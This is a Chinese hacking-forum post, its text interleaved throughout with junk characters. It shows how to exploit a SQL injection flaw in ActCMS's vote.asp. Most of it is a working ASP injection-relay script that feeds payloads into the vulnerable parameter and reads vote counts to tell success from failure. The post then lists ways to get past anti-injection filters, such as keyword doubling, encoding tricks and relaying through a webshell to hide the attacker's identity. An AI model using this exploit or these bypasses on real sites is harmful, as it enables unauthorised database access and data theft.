: @' E( O( S6 e5 k看到ninty大牛的blog的一篇文章: P5 ]2 f2 @, b+ Z& w6 ^
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]! X# N* {$ u% l! \! L: e L
关于actcms漏洞的利用 by 3x qq:3818625897 A' R$ H4 K" k# B3 o2 x: q" ]
转载请注明以上
, o3 J. ~; q1 `7 k漏洞文件:
+ M! L! ~3 z' ]' R% @' ~/plus/vote/vote.asp$ |5 X: l( l# `, ]# C2 h
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then
7 [4 k' H/ l# `9 ]5 N: {0 W
: S$ y% V8 R6 ~9 @1 c2 response.write "<script>alert('请选择投票项目。');window.close()</script>"
# q( [- P6 r$ G4 q) o1 F0 y2 h3 R3 X, z# f/ M' W W& S7 f
3 response.end ( o2 [. z( e7 X6 v
& [9 H7 S* o, E+ O+ W$ _4 end if / g9 ~. d" W- v9 r
! k/ ~# p& v2 n" R6 j, V
5 for i=1 to request("voted").count
/ C2 b3 @ O" A( _
( Q! J% p* P' P8 j6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i)) e) j7 E0 M) {' T. r* m8 }
4 p, x% B, d/ I2 X7 V$ S' r
7 next ; D* u8 ?& k; z6 C K9 |
& o2 x& V$ y# e) ^" W4 d
8....
; ~ G2 @% e7 w) `: ]* @9 y2 y) O I. Z' H% e C4 w
9response.Redirect "index.asp?id="&id&""
. s# c* O4 l$ i2 \投票结束回跳转回index.asp这个投票结果页面$ h+ H( F" K9 n6 B; w. a
如果投票成功票数加1
' `4 B4 K& ~* @4 C 失败票数不变
% A4 X& k3 O" N' I1 C& n" O( ~! t如图:0 _/ i6 `8 U# P3 G7 {7 m
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
* O, k1 b6 p# F7 T; c: I. G
6 H# a- i; L! K4 e! J3 B2009-12-27 13:20" W" L m9 a: r; o# ]3 m
. S. I, }, j. l, Q
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
: }. ]0 |4 f( F s0 E5 ]% ]" j1 W. ?: e1 c2 b
本帖隐藏的内容需要回复才可以浏览
. W6 b- |6 [3 M+ o5 T9 x- @我们用注入中转来实现这个注入具体代码如下:
4 p7 E/ x( H$ U4 K先用寂寞的刺猬大牛的注入中转生成jmget.asp
" @1 i7 [9 f& n0 c2 r# x; l注入地址:http://localhost/actcms/plus/vote/vote.asp
& g0 ?% x6 _' T6 d% w0 v/ V* ^- [8 r注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项; L4 O, d( g, S. ?" C
6 ?- P! R; m$ `4 |& H0 r8 M
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
, S. ]* c- `. i6 q, B4 d% f% t. P+ v" ?* s) O, M( t
02JmdcwName=request("jmdcw")
' k, N$ q. B- r# h5 b) V6 b5 w/ T) l# S
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] ; j$ R, o8 a+ s# w5 V8 R
1 i' D2 b4 R' }4 u$ }04JmStr="id=1&voted=-1 or 1="&JmdcwName
4 V1 a2 I+ F! B0 }3 k
. _/ } y8 ]. J+ z& s' W05JmStr=URLEncoding(JmStr)
0 f4 j8 c3 p, |7 x: \2 h( I; m# A9 M# `! X
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
6 ^1 q3 H Y, ~# N" ^, f3 w+ D! O! _6 y! T$ H6 l2 r
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"1 ~" E- q+ Q+ L* E: }/ b/ s
* _7 p& Q3 {* z6 t6 y, O* v
08testurl=testurl & "?" & JmStr
; A. S; ~0 a( r8 e9 H1 G' \6 p& _3 z: y, }2 n/ `, H' Y( `
09JMUrl=JMUrl & "?" & JmStr
% D% z+ `% [$ @. |& d3 q' i8 d) s) o$ ^' W! W" D
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
/ j# l6 E a* L4 g$ H% E7 h
# N, a1 J5 A/ w! c$ I7 f2 X11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
. i u6 q, k1 R9 x, S+ A
- Z: ]; @6 U/ B9 k2 N12JmCok=replace(JmCok,chr(32),"%20")
8 e3 n' z) U$ E% |0 p6 ?
8 G' @( d8 D8 {13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
$ s2 x) d3 k' W$ ]5 O# n9 v; s8 p3 l5 K9 n: o2 z0 d
14 4 X4 s- ~; m/ m7 M# g& @/ V
2 {9 _7 a+ { G- a) @. x1 T2 s15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
4 h; a8 e% Z- L- o% {
9 t1 W9 R" t( o1 {& |5 l7 t% k: _16 8 V w8 Q% Z6 }+ p2 Q" l) o/ s6 ?
+ T( u' z. h% A6 I
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 " R& `: B0 t" o! Y$ f7 v6 {
R. S! }5 j( l0 \
18response.write test1&""&test2&""/ k: ~; z& g+ r) D% ~7 Q/ n
) ^1 N. S) B& e. j2 C& O/ s: R8 M
19 , ^1 P7 l% ^ `: |' n% H
3 Q7 z/ `% m9 S1 Z/ s5 C
20if test1=test2 then '如前后记录相等,表示失败 ' _0 r o+ d `3 g, w, e
, L$ D- ^+ E. r5 O5 A! S
21 response.write "failed"/ N8 z; _7 j2 z! F* ?
/ U, ^4 {) i* o: [% b `22else 2 U0 H, N3 V8 h' B0 ~2 K% `
) `1 {# Q6 c8 P- k8 U. T
23 response.write "succeed"7 m1 x4 d/ h, g, V' @9 d1 I
- h! g5 d: k* O; ~$ ?6 U( v3 n9 Z+ y24end if
9 m! F1 B- {% N$ P0 r0 h7 H
! h, L1 {; [) l* G) _# e2 L25 7 a( t7 m& I9 r- v' e( S
8 w5 o$ h( c/ {. M8 e+ Z1 ^
26response.write "by 3x"
# j, O3 g5 ?* B7 C1 F
! Q8 C6 A! W- l27
) H4 O" l3 v. |) P; d- M
" ^9 a! M" D/ h r7 D( D) T, @6 \) K28 + U4 }' j: l3 K g7 |
1 R$ c5 w0 c: p7 O* C% ?
29Function PostData(PostUrl,PostStr,PostCok,PostRef) |* g0 p3 F9 _1 G, S) G
6 h) ^% n; u# c30Dim Http
0 g5 ?$ g/ b8 ]1 s9 K# x
* A# X) M' u8 U% ]31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
' m# q9 Y) U; V1 q7 i/ n. p
# F& ~4 H2 p8 a5 X ^32With Http , }" O0 W$ \% g7 a- A7 E1 x% W
$ S7 \: K9 w0 e4 r/ e( G# W# P33
O7 W: o6 O& I0 F6 s% x. D# h( D( q) K
34.Open "GET",PostUrl,False J/ I& E& \* P0 T
: G1 W. X+ S3 X- k% D" j* w( s/ |
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"* C. @; G' ~* s- a
0 _8 e8 F# j q* `+ t0 Y
36.SetRequestHeader "Referer",PostRef
" N, R! f# E [6 d8 T3 L# [; Q+ \: j! ^9 e
37.SetRequestHeader "Cookie",PostCok
1 J; ~, F% o3 e6 B! r6 B' R: J# k+ U; O2 F! |! j/ Y; f
38.Send ()
6 O1 _) H% N0 n j$ T# P: u
, z7 R- X6 C9 K9 G, J39PostData = .ResponseBody 4 [5 ?# r* _7 p; _1 b& k6 r
0 a. k m( Z3 p/ H4 e
40End With
- A5 ]( s+ D5 O \* d0 O6 \4 ^! i5 B. J" a
41Set Http = Nothing# u$ L6 E+ B; d5 y f6 x6 h
: e, ^5 k& X* f& \% L. j" B; I2 b
42PostData =bytes2BSTR(PostData)
, c. [/ q& t# m% W$ C( \7 t0 j& E; Z3 B2 y" n4 r( Y
43End Function
* L1 I2 o: T* v, G1 ~# F8 a! I% W0 E9 s0 D7 q/ w. E
44
( o* G/ N. K8 }' W5 s. k2 D) V Q+ w/ ^8 f
45 ' u4 |% ^& i" v/ o4 e3 g
- @8 X" s l6 M2 X3 V% ?46Function bytes2BSTR(vIn) 4 Q( {, O8 Y/ {2 |; u2 W
2 b- V1 Z- g4 r+ M# [( w2 S
47Dim strReturn - X4 V1 L! D0 z6 y/ K1 {+ Q0 T, G9 F
& @& P( P' [. V6 t- Q1 m+ Y- T9 }
48Dim I, ThisCharCode, NextCharCode 7 \# Z+ H! c3 b. o8 S" W
) n/ x$ C4 F4 A* ~
49strReturn = ""/ q. c+ M8 N4 r6 r$ m* `
6 `; v& }" }6 u0 f9 a1 ^9 ^7 Y
50For I = 1 To LenB(vIn) 3 Q( s1 p- t: i
* b9 B5 ~( a8 X) @: Z* C! Z/ v51ThisCharCode = AscB(MidB(vIn, I, 1))
5 {, w' e" s0 B8 W, L7 r8 [' L$ L# `) F9 ?* G# `. o5 Z4 G
52If ThisCharCode < &H80 Then
2 r& l, n( [8 @1 j3 i2 @5 H2 ]3 T7 n
( y. I- i1 v. f4 q53strReturn = strReturn & Chr(ThisCharCode)
- X1 G: L% P# U; U. B$ k3 f0 O4 ? Q2 p6 \! M" E
54Else
9 n0 Y( V+ [" F% i7 Z
: a& H, Y7 f |' D5 o5 j9 h55NextCharCode = AscB(MidB(vIn, I + 1, 1))
+ M! I3 X( W. v& ]: r/ n3 X4 G
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) ) Z! v: Z5 ?( X0 }( F' Z
1 L2 q& c* @& V57I = I + 1 % u) G3 T- |: V8 o: x( i
1 N! q' J1 J1 a0 J8 k5 c# ?( b7 G
58End If7 Q( a9 a5 x; {
- m; c* C: B4 s1 o; f' u
59Next
& q: {# x6 S. H0 ~6 z. X' g1 f- b, D. q/ \, A' E
60bytes2BSTR = strReturn 2 H9 D! q7 H) r+ f/ E
) Y, k; O8 ^. P+ z7 a5 q. \: c61End Function+ ]' B) `& `; z& a. e8 @
$ z& Q1 R; K: ~( e0 `- F0 ^62
5 e3 S; D+ O+ [7 F0 d8 u |* F( E2 m, S' I) T2 p0 D$ j z; A* y
63Function URLEncoding(vstrin) % Y% _/ X0 w3 S, G, ]! Y0 A& e
& Y2 u9 t! g) S* h% N64strReturn=""' a0 Y/ p; \$ v8 r' ?% U7 m
0 U+ I* Z4 T" W; V& ]65Dim i
- v3 F( L! b" [* X$ J8 z, @
0 l: j& W" E' E66For i=1 To Len(vstrin)
) S$ z* D' G& c/ ^' Z
. v) K" r! e1 o7 a67ThisChr=Mid(vstrin,i,1) # j6 R# p! s# [* Z7 ?/ S! n# t
6 F3 c, X" y, [6 n
68if Abs(Asc(ThisChr))< &HFF Then7 ^2 i6 A8 m! ?! G
; ~3 H2 L0 X& b% x6 [' b" |69strReturn=strReturn & ThisChr & h r5 M' R2 B, |3 F0 [9 x9 v
" v# ] N! Z8 E1 W \
70Else* \$ q- T D6 j/ j
3 R- X) q% h% l) z9 o( q& _$ B71InnerCode=Asc(ThisChr) * q# L# @' F- |' t7 _% J' i
% H; A* r! ? _ _, P. W8 X# B
72If InnerCode<0 Then) Z2 a8 Z f" C5 _# b) w5 ^) R
1 t( I/ F a$ e
73InnerCode=InnerCode + &H10000 7 f) q3 ], q5 `- T
9 G2 w7 ^# d2 m/ ^* t8 t74End If
# L/ o2 `! C5 O3 Q1 }' H
$ ^4 J' _0 C# @6 N75Hight1=(InnerCode And &HFF00) \&HFF
' W+ E: Y( l$ d5 `* x1 y) @, N6 R2 m% D: ?0 i2 l
76Low1=InnerCode And &HFF ) p( }! u5 r( t" N. z
0 i& g) b* ^9 w, C5 w* Q
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
' e: D2 ~. g$ f8 P) V; D. I0 |9 C* i" b3 C/ ]7 Q# F" C7 R' X
78End if 8 d. D# ? }) K! H5 r
" ?$ p5 h% t8 B/ h) I79Next, M# q, C7 M8 n: Z
0 |# p- v. O! e9 O6 D: x
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
; @0 Z) {5 H1 J4 z2 M- J& j5 t. {6 i& b, c. l# T K3 w' c
81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符
1 X3 m# q/ ]2 R0 n- X/ q+ g [' G
% t% E, C/ I4 z* [82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码
( k/ J. D, J/ ]- {/ X- R1 t9 P
7 W" X3 R6 \& @- \7 L7 n: G5 U7 h% n83URLEncoding=strReturn
. o4 N8 U9 i- @4 G0 W7 J: E8 @7 ]& C
. O: ^! n5 D3 C84End Function) |3 R& W- ?6 U. X6 X
8 u5 d4 x! J: s0 M% o6 y
85 ; K2 \% S( c5 h
: U' b; x. ?: b( V) H1 A
86function getSt(body)
% B. g, \2 Z# F$ \2 t% x) A
# e' e( _) H! L$ `- l87 startpot=instr(body,"投票人数:")+len("投票人数:") 8 V, W3 [1 Z, ?( v n) l
) m5 M8 \7 B# T' T1 Z88 endpot=instr(startpot,body," ") % b4 p9 G: X* L5 e
4 V5 ?1 i% d" Q$ l7 E( n2 e
89 getSt=mid(body,startpot,endpot-startpot) % x* s* s/ k( j" _, }& b# k
0 R B1 X& p' ~5 w+ ?8 Q& A8 Q
90end function
. |& z* d/ K3 n7 h( p9 @' T j# Y
91%>" _( X# J4 Y3 E. _1 t
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
. M5 a* H: x8 n u, H测试下效果:
8 h+ o- M3 p& s# N J+ i投票成功:
: V! v& b9 J8 I) y; F7 xhttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
$ [- b! c7 l( K- ]! e. Y6 M7 M
+ u/ \( N7 S. U0 s' a2009-12-27 13:29% H' T9 [$ n0 D& Y
投票失败
% F2 T, k" F' \) |http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB), \# ^, f" D7 u1 Y8 j
9 U4 ~0 j) d7 L5 `6 _5 A
2009-12-27 13:29
" g3 ^" K$ O T, v: c2 `% _-------------------------------------------------------------------------------
/ ^; }' n7 q( c/ ^/ H1 m* S0 X再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以7 F8 _; H) F( V5 V
很抱歉。。。只能用单线程工具去注入。。。。。, {! d, _5 w; I
所以失败。。。不好意思。。。
7 R7 [- R' s. d-------------------------------------------------------------------------------. c# a" f5 c7 b g
1 l' S; A; u5 z( R, p* s/ @注入中转的一些其他应用" v+ n& z! C" ^/ J' c6 m
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
) }# E7 W' N% K+ q1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id- m& v6 J# R+ t1 v ~1 r
2.post注入转成get型的注入,方便我们使用工具来跑
5 i/ q9 Q$ U5 [# r* w3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
* |) V: b5 k4 ~ H( R# ]: ?- x4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
- E9 v9 t; `( d1 M4 X9 j$ N( J) l" Y' v; K$ u0 K2 |. J' a: k: Y
|